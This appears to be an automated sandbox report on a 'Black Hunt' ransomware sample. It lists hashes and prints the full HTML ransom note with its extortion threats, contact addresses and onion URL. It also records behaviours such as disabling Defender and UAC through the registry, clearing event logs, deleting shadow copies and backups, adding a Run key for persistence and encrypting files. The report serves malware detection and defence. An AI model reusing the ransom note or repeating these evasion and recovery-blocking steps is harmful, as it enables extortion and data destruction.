6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 23:42

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General

Target

6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
Size

707KB
MD5

485fb749f3574d154ec8159494389944
SHA1

549bd166ddeba92309d90f81f4a6ca1be7711bdb
SHA256

6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523
SHA512

4bb2af903b86f3591caa9313a640444cf6499f7c367297f44a3781f75e2a3de8a795a55c9b75ff0b3ae88ef234eb00147ba78debe8325af72af1ace8f5a30c98
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1G8zvnh:6uaTmkZJ+naie5OTamgEoKxLWVzh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> OfIUyu09tLRG60Rj </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2756	fsutil.exe
2244	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2428	wevtutil.exe
2704	wevtutil.exe
2868	wevtutil.exe
2440	wevtutil.exe
2388	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2640	bcdedit.exe
2052	bcdedit.exe
2612	bcdedit.exe
1264	bcdedit.exe

Renames multiple (2921) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
776	wbadmin.exe
1516	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
400	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\J:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\L:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\Z:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\M:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\G:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\V:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\N:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\Q:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\U:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\P:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\S:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\Y:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\I:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\A:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\W:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\T:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\E:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\R:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\K:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\X:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\O:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\B:	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened (read-only)	\??\F:	fsutil.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Guayaquil	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_zh_4.4.0.v20140623020002.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.directorywatcher.nl_ja_4.4.0.v20140623020002.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.views_3.7.0.v20140408-0703.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-templates.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.observable_1.4.1.v20140210-1835.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.hta	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\view.html	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\#BlackHunt_ReadMe.txt	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\prodbig.gif	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.filesystem_1.4.100.v20140514-1614.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.renderers.swt.nl_ja_4.4.0.v20140623020002.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\ModuleAutoDeps\org-openide-explorer.xml	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\LC_MESSAGES\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File created	C:\Program Files\VideoLAN\VLC\lua\http\dialogs\#BlackHunt_Private.key	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Kuala_Lumpur	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\GMT	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.util_1.0.500.v20130404-1337.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-spi-quicksearch_ja.jar	6d4ea148949d32646a50dfa20041a2c9b12bbc97af28f52a93b410018bd2b523.exe
